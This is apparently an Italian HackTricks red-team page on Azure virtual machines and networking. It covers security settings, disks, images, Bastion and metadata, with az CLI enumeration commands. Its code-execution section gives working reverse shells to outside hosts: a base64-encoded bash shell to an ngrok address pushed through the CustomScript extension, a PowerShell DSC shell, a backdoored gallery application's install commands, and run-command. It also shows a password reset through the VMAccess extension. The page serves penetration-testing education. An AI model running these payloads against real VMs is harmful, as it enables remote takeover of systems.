Az - Macchine Virtuali e Rete

Reading time: 26 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di Base sulla Rete di Azure

Le reti di Azure contengono diverse entità e modi per configurarle. Puoi trovare una breve descrizione, esempi e comandi di enumerazione delle diverse entità di rete di Azure in:

Az - Azure Network

Informazioni di Base sulle VM

Le Macchine Virtuali (VM) di Azure sono server basati su cloud flessibili e on-demand che ti permettono di eseguire sistemi operativi Windows o Linux. Ti consentono di distribuire applicazioni e carichi di lavoro senza gestire hardware fisico. Le VM di Azure possono essere configurate con varie opzioni di CPU, memoria e archiviazione per soddisfare esigenze specifiche e integrarsi con servizi Azure come reti virtuali, archiviazione e strumenti di sicurezza.

Configurazioni di Sicurezza

  • Zone di Disponibilità: Le zone di disponibilità sono gruppi distinti di data center all'interno di una specifica regione di Azure che sono fisicamente separati per ridurre al minimo il rischio che più zone siano colpite da interruzioni locali o disastri.
  • Tipo di Sicurezza:
  • Sicurezza Standard: Questo è il tipo di sicurezza predefinito che non richiede alcuna configurazione specifica.
  • Avvio Fidato: Questo tipo di sicurezza migliora la protezione contro boot kit e malware a livello di kernel utilizzando Secure Boot e Virtual Trusted Platform Module (vTPM).
  • VM Riservate: Oltre a un avvio fidato, offre isolamento basato su hardware tra la VM, l'ipervisore e la gestione dell'host, migliora la crittografia del disco e altro.
  • Autenticazione: Per impostazione predefinita, viene generata una nuova chiave SSH, anche se è possibile utilizzare una chiave pubblica o utilizzare una chiave precedente e il nome utente per impostazione predefinita è azureuser. È anche possibile configurare l'uso di una password.
  • Crittografia del disco VM: Il disco è crittografato a riposo per impostazione predefinita utilizzando una chiave gestita dalla piattaforma.
  • È anche possibile abilitare la Crittografia all'host, dove i dati verranno crittografati nell'host prima di essere inviati al servizio di archiviazione, garantendo una crittografia end-to-end tra l'host e il servizio di archiviazione (docs).
  • Gruppo di sicurezza di rete NIC:
  • Nessuno: Apre fondamentalmente tutte le porte
  • Base: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Avanzato: Seleziona un gruppo di sicurezza
  • Backup: È possibile abilitare il backup Standard (una volta al giorno) e Potenziato (più volte al giorno)
  • Opzioni di orchestrazione delle patch: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei docs.
  • Avvisi: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite:
  • Percentuale CPU superiore all'80%
  • Byte di Memoria Disponibile inferiori a 1GB
  • Percentuale IOPS Dischi Dati Consumato superiore al 95%
  • Percentuale IOPS OS Consumato superiore al 95%
  • Rete in Totale superiore a 500GB
  • Rete Out Totale superiore a 200GB
  • VmAvailabilityMetric inferiore a 1
  • Monitor di Salute: Per impostazione predefinita controlla il protocollo HTTP sulla porta 80
  • Blocchi: Consente di bloccare una VM in modo che possa essere solo letta (Blocco di sola lettura) o possa essere letta e aggiornata ma non eliminata (Blocco Non Eliminabile).
  • La maggior parte delle risorse relative alle VM supporta anche i blocchi come dischi, snapshot...
  • I blocchi possono essere applicati anche a livelli di gruppo di risorse e abbonamento

Dischi e snapshot

  • È possibile abilitare l'attacco di un disco a 2 o più VM
  • Per impostazione predefinita, ogni disco è crittografato con una chiave della piattaforma.
  • Stesso discorso per gli snapshot
  • Per impostazione predefinita, è possibile condividere il disco da tutte le reti, ma può anche essere ristretto solo a determinati accessi privati o disabilitare completamente l'accesso pubblico e privato.
  • Stesso discorso per gli snapshot
  • È possibile generare un URI SAS (di max 60 giorni) per esportare il disco, che può essere configurato per richiedere autenticazione o meno
  • Stesso discorso per gli snapshot
bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Immagini, Immagini della Galleria e Punti di Ripristino

Un VM image è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per creare una nuova macchina virtuale (VM). La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere più dischi ed è progettata per servire come modello per la creazione di nuove VM.
Le immagini possono essere gestite nella sezione Immagini di Azure o all'interno delle gallerie di calcolo di Azure, che consentono di generare versioni e condividere l'immagine tra tenant o addirittura renderla pubblica.

Un punto di ripristino memorizza la configurazione della VM e snapshot dell'applicazione coerenti nel tempo di tutti i dischi gestiti collegati alla VM. È correlato alla VM e il suo scopo è quello di poter ripristinare quella VM a come era in quel specifico momento.

bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Dalla documentazione: Site Recovery aiuta a garantire la continuità aziendale mantenendo le applicazioni e i carichi di lavoro aziendali attivi durante le interruzioni. Site Recovery replica i carichi di lavoro in esecuzione su macchine fisiche e virtuali (VM) da un sito primario a una posizione secondaria. Quando si verifica un'interruzione nel tuo sito primario, si passa a una posizione secondaria e si accede alle app da lì. Dopo che la posizione primaria è di nuovo operativa, puoi tornare ad essa.

Azure Bastion

Azure Bastion consente un accesso sicuro e senza soluzione di continuità al Remote Desktop Protocol (RDP) e Secure Shell (SSH) alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando la necessità di indirizzi IP pubblici sulle tue VM.

Il Bastion distribuisce una subnet chiamata AzureBastionSubnet con una maschera di rete /26 nella VNet su cui deve operare. Quindi, consente di connettersi a VM interne tramite il browser utilizzando RDP e SSH, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un jump host.

Per elencare tutti gli Azure Bastion Hosts nella tua sottoscrizione e connetterti alle VM tramite essi, puoi utilizzare i seguenti comandi:

bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Il servizio di metadati delle istanze Azure (IMDS) fornisce informazioni sulle istanze di macchine virtuali in esecuzione per assistere nella loro gestione e configurazione. Offre dettagli come SKU, archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite REST API disponibile all'indirizzo IP non instradabile 169.254.169.254, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.

Inoltre, per contattare l'endpoint dei metadati, la richiesta HTTP deve avere l'intestazione Metadata: true e non deve avere l'intestazione X-Forwarded-For.

Controlla come enumerarlo in:

Cloud SSRF - HackTricks

VM Enumeration

bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Esecuzione di Codice nelle VM

Estensioni VM

Le estensioni VM di Azure sono piccole applicazioni che forniscono configurazione post-deployment e compiti di automazione sulle macchine virtuali (VM) di Azure.

Questo permetterebbe di eseguire codice arbitrario all'interno delle VM.

Il permesso richiesto è Microsoft.Compute/virtualMachines/extensions/write.

È possibile elencare tutte le estensioni disponibili con:

bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

È possibile eseguire estensioni personalizzate che eseguono codice personalizzato:

  • Eseguire una shell inversa
bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Esegui uno script situato su Internet
bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Estensioni VM rilevanti

Il permesso richiesto è ancora Microsoft.Compute/virtualMachines/extensions/write.

Estensione VMAccess

Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all'interno delle VM Windows.

bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Questa è un estensione VM che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per eseguire comandi arbitrari nelle VM Windows tramite questa estensione:

bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Questa è un'estensione VM che consente di eseguire runbook in VM da un account di automazione. Per ulteriori informazioni, controlla il servizio Automation Accounts.

VM Applications

Questi sono pacchetti con tutti i dati dell'applicazione e script di installazione e disinstallazione che possono essere utilizzati per aggiungere e rimuovere facilmente applicazioni nelle VM.

bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Questi sono i percorsi in cui le applicazioni vengono scaricate all'interno del file system:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Controlla come installare nuove applicazioni in https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

caution

È possibile condividere singole app e gallerie con altre sottoscrizioni o tenant. Questo è molto interessante perché potrebbe consentire a un attaccante di inserire un backdoor in un'applicazione e passare ad altre sottoscrizioni e tenant.

Ma non c'è un "marketplace" per le app vm come c'è per le estensioni.

I permessi richiesti sono:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Esempio di sfruttamento per eseguire comandi arbitrari:

bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Dati utente

Questi sono dati persistenti che possono essere recuperati dall'endpoint dei metadati in qualsiasi momento. Nota che in Azure i dati utente sono diversi da AWS e GCP perché se posizioni uno script qui, non viene eseguito per impostazione predefinita.

Dati personalizzati

È possibile passare alcuni dati alla VM che saranno memorizzati nei percorsi previsti:

  • In Windows, i dati personalizzati sono collocati in %SYSTEMDRIVE%\AzureData\CustomData.bin come file binario e non vengono elaborati.
  • In Linux, erano memorizzati in /var/lib/waagent/ovf-env.xml e ora sono memorizzati in /var/lib/waagent/CustomData/ovf-env.xml
  • Agente Linux: Non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine personalizzata con i dati abilitati
  • cloud-init: Per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in diversi formati. Potrebbe eseguire uno script facilmente inviando semplicemente lo script nei dati personalizzati.
  • Ho provato che sia Ubuntu che Debian eseguono lo script che metti qui.
  • Non è nemmeno necessario abilitare i dati utente affinché questo venga eseguito.
bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Esegui Comando

Questo è il meccanismo più basilare che Azure fornisce per eseguire comandi arbitrari nelle VM. Il permesso necessario è Microsoft.Compute/virtualMachines/runCommand/action.

bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Escalation dei privilegi

Az - Virtual Machines & Network Privesc

Accesso non autenticato

Az - VMs Unauth

Post sfruttamento

Az - VMs & Network Post Exploitation

Persistenza

Az - VMs Persistence

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks